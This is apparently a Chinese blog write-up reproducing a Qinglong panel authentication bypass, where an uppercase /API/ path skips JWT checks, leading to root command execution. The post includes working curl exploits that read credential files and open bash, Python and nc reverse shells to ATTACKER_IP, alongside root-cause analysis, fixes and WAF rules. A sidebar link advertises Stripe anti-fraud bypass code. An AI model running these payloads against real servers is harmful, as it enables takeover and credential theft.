青龙面板鉴权绕过漏洞复现 - 从路径大小写到 RCE
1422 字
7 分钟
青龙面板鉴权绕过漏洞复现 - 从路径大小写到 RCE

联系方式 & 交流群
- 微信: gzs-47
进微信群请联系博主,各位觉得文章对你有帮助的话可否打赏一些呀~
⚠️ 时效性提醒(2026-07 更新):本文发布于 2026 年 2 月,距今已近 5 个月。青龙面板该鉴权绕过漏洞在新版本中大概率已修复,当前可用性存疑。本文保留仅供漏洞复现学习参考,文中使用 Docker 部署的是历史漏洞版本。
使用 Docker 部署漏洞版本
docker run -d
-p 5700<5700>5700>
-v $(pwd)/data:/ql/data
–name qinglong
whyour/qinglong<2>2>.20.1
访问面板
http://localhost:5700
### 2. 验证环境
```bash# 检查版本curl http://localhost:5700/api/system/version
# 预期输出{"data":"2.20.1","code":200}💥 漏洞复现
步骤 1: 验证鉴权绕过
正常情况(需要认证):
# 直接访问 /api/ 路径会被拦截curl -X PUT "http://localhost:5700/api/system/command-run" \ -H "Content-Type: application/json" \ -d '{"command": "id"}'
# 响应:401 Unauthorized{"code":401,"message":"未授权访问"}利用大小写绕过:
# 使用 /API/ (大写) 绕过鉴权curl -X PUT "http://localhost:5700/API/system/command-run" \ -H "Content-Type: application/json" \ -d '{"command": "id"}'
# 响应:200 OK{ "code": 200, "data": "uid=0(root) gid=0(root) groups=0(root)"}步骤 2: 执行系统命令
获取系统信息:
# 查看当前用户curl -X PUT "http://localhost:5700/API/system/command-run" \ -H "Content-Type: application/json" \ -d '{"command": "whoami"}'
# 查看主机名curl -X PUT "http://localhost:5700/API/system/command-run" \ -H "Content-Type: application/json" \ -d '{"command": "hostname"}'
# 查看环境变量curl -X PUT "http://localhost:5700/API/system/command-run" \ -H "Content-Type: application/json" \ -d '{"command": "env"}'读取敏感文件:
# 读取青龙配置文件curl -X PUT "http://localhost:5700/API/system/command-run" \ -H "Content-Type: application/json" \ -d '{"command": "cat /ql/data/config/auth.json"}'
# 读取系统密码本 (需要 root 权限)curl -X PUT "http://localhost:5700/API/system/command-run" \ -H "Content-Type: application/json" \ -d '{"command": "cat /etc/passwd"}'步骤 3: 获取 Shell
反弹 Shell:
# Bash 反弹curl -X PUT "http://localhost:5700/API/system/command-run" \ -H "Content-Type: application/json" \ -d '{"command": "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"}'
# Python 反弹curl -X PUT "http://localhost:5700/API/system/command-run" \ -H "Content-Type: application/json" \ -d '{"command": "python3 -c \"import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"\"ATTACKER_IP\"\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"\"/bin/sh\"\",\"\"-i\"\"]);\""}'
# NC 反弹curl -X PUT "http://localhost:5700/API/system/command-run" \ -H "Content-Type: application/json" \ -d '{"command": "nc -e /bin/sh ATTACKER_IP 4444"}'🔍 技术细节分析
1. Express 路由大小写不敏感
Express 框架默认对路由大小写不敏感:
const express = require('express');const app = express();
app.get('/api/test', (req, res) => { res.send('Hello');});
// 以下请求都能匹配到上述路由// GET /api/test ✓// GET /API/test ✓// GET /Api/test ✓// GET /aPi/TeSt ✓这是 Express 的默认行为,可以通过 app.set('case sensitive routing', true) 启用大小写敏感。
2. 鉴权中间件逻辑漏洞
问题代码:
app.use((req, res, next) => { // 白名单路径,不需要鉴权 if (!['/open/', '/api/'].some((x) => req.path.startsWith(x))) { return next(); // 跳过 JWT 校验 }
// 验证 JWT 令牌 const token = req.headers.authorization; if (!verifyToken(token)) { return res.status(401).json({ code: 401, message: '未授权' }); }
next();});绕过原理:
请求路径:/API/system/command-run
1. req.path = '/API/system/command-run'2. req.path.startsWith('/api/') = false ← 大小写不匹配3. 条件为真,执行 next() ← 跳过 JWT 校验4. Express 路由匹配:/API/ → /api/ ← 大小写不敏感,成功匹配5. 执行命令执行接口 ← 未授权访问成功3. 可利用 API 接口
青龙面板提供多个危险 API 接口:
| 接口路径 | 功能 | 危险等级 |
|---|---|---|
/api/system/command-run | 执行系统命令 | 🔴 严重 |
/api/env | 管理环境变量 | 🟠 高 |
/api/repo | 管理仓库 | 🟠 高 |
/api/subscription | 管理订阅 | 🟡 中 |
/api/user | 用户管理 | 🟠 高 |
🛡️ 防御建议
1. 官方修复方案
修复鉴权逻辑:
// 修复后:使用正则忽略大小写const authPaths = [/^\/open\//i, /^\/api\//i];
app.use((req, res, next) => { if (!authPaths.some((pattern) => pattern.test(req.path))) { return next(); }
// 验证 JWT 令牌 const token = req.headers.authorization; if (!verifyToken(token)) { return res.status(401).json({ code: 401, message: '未授权' }); }
next();});启用大小写敏感路由:
const app = express();app.set('case sensitive routing', true); // 启用大小写敏感
// 现在 /API/ 和 /api/ 是两个不同的路由2. 临时缓解措施
方案 1: 反向代理过滤
# Nginx 配置location / { # 强制转换为小写 set $lower_uri $uri; if ($uri ~* ^/(API)/) { return 403; # 拦截大写 API 路径 }
proxy_pass http://localhost:5700;}方案 2: WAF 规则
# ModSecurity 规则SecRule REQUEST_URI "@rx (?i)/API/" \ "id:1001,\ phase:1,\ deny,\ status:403,\ msg:'QL Panel Auth Bypass Attempt'"3. 用户侧防护
# 1. 限制访问来源iptables -A INPUT -p tcp --dport 5700 -s 127.0.0.1 -j ACCEPTiptables -A INPUT -p tcp --dport 5700 -j DROP
# 2. 使用强认证# 修改默认密码# 启用双因素认证 (如果支持)
# 3. 定期更新docker pull whyour/qinglong:latestdocker restart qinglong
# 4. 监控日志tail -f /ql/log/system.log | grep -E "(API|command|auth)"📊 影响评估
受影响版本
| 版本 | 状态 |
|---|---|
| 2.20.1 | ❌ 受影响 |
| 2.20.0 | ❌ 可能受影响 |
| 2.19.x | ⚠️ 待确认 |
| < 2.19 | ⚠️ 待确认 |
潜在危害
- 服务器完全沦陷 - 攻击者可执行任意命令
- 数据泄露 - 读取配置文件、数据库、密钥
- 内网渗透 - 以服务器为跳板攻击内网
- 挖矿/僵尸网络 - 植入恶意程序
攻击场景
互联网扫描 → 发现 5700 端口 → 利用鉴权绕过 → 执行命令 → 读取配置 → 获取数据库密码 → 数据泄露 → 植入后门 → 持久化控制 → 内网横向移动🔗 相关漏洞案例
1. JWT 鉴权绕过常见手法
| 手法 | 描述 | 案例 |
|---|---|---|
| 大小写绕过 | /API/ vs /api/ | 本文漏洞 |
| 路径遍历 | /..//api/ | CVE-2023-XXXX |
| 编码绕过 | URL 编码、Unicode | CVE-2022-XXXX |
| 算法混淆 | alg: none | JWT 经典漏洞 |
2. Node.js/Express 类似漏洞
- CVE-2024-29180: express-fileupload 路径遍历
- CVE-2022-24999: Express 原型污染
- CVE-2024-45590: app-html 包 RCE
📝 时间线
| 日期 | 事件 |
|---|---|
| 2026-02-27 | 漏洞首次披露 (GitHub Issue #2934) |
| 2026-02-28 | 漏洞细节公开 |
| 2026-02-28 | 本文发布 |
| TBD | CVE 编号分配 |
| TBD | 官方修复版本发布 |
📚 参考资料
🏷️ Tags
#鉴权绕过 #RCE #青龙面板 #Node.js 安全 #Express #漏洞复现 #渗透测试
本文基于公开披露的漏洞信息编写,旨在提高安全意识。请合法使用安全技术。
文章分享
如果这篇文章对你有帮助,欢迎分享给更多人!
相关文章智能推荐
1
OpenClaw 部署教程 - macOS 篇(2026 最新版)
OpenClawOpenClaw 部署教程 - macOS 篇(2026 最新版) - 详细部署教程
2
OpenClaw 部署教程 - Android 篇
OpenClawOpenClaw 部署教程 - Android 篇 - 详细部署教程
3
OpenClaw 部署教程 - Windows 篇(2026 终极版)
OpenClawOpenClaw Windows 部署终极指南 - 含 PowerShell 一键安装、Node.js 22 配置、Git 环境、初始化向导、故障排查,基于 Windows 11 实测验证
4
OpenClaw 部署教程 - Linux 篇(2026 终极版)
OpenClawOpenClaw Linux 部署终极指南 - 含环境配置、NVM 安装、一键脚本、初始化向导、故障排查,基于 Ubuntu 22.04 LTS 实测验证
5
Stripe 协议支付自动化深度拆解:从 HAR 抓包到纯 API 全链路实现
技术分析完整拆解 Stripe 协议支付的技术实现:从浏览器 HAR 抓包逆向 Stripe Checkout Session 全流程,到纯 API 无浏览器实现 ConfirmationToken 创建、PaymentIntent 确认、3DS 验证挑战,再到 TLS 指纹对抗、代理池架构和反欺诈绕过。附 5 套不同技术栈的完整实现源码下载。
随机文章随机推荐














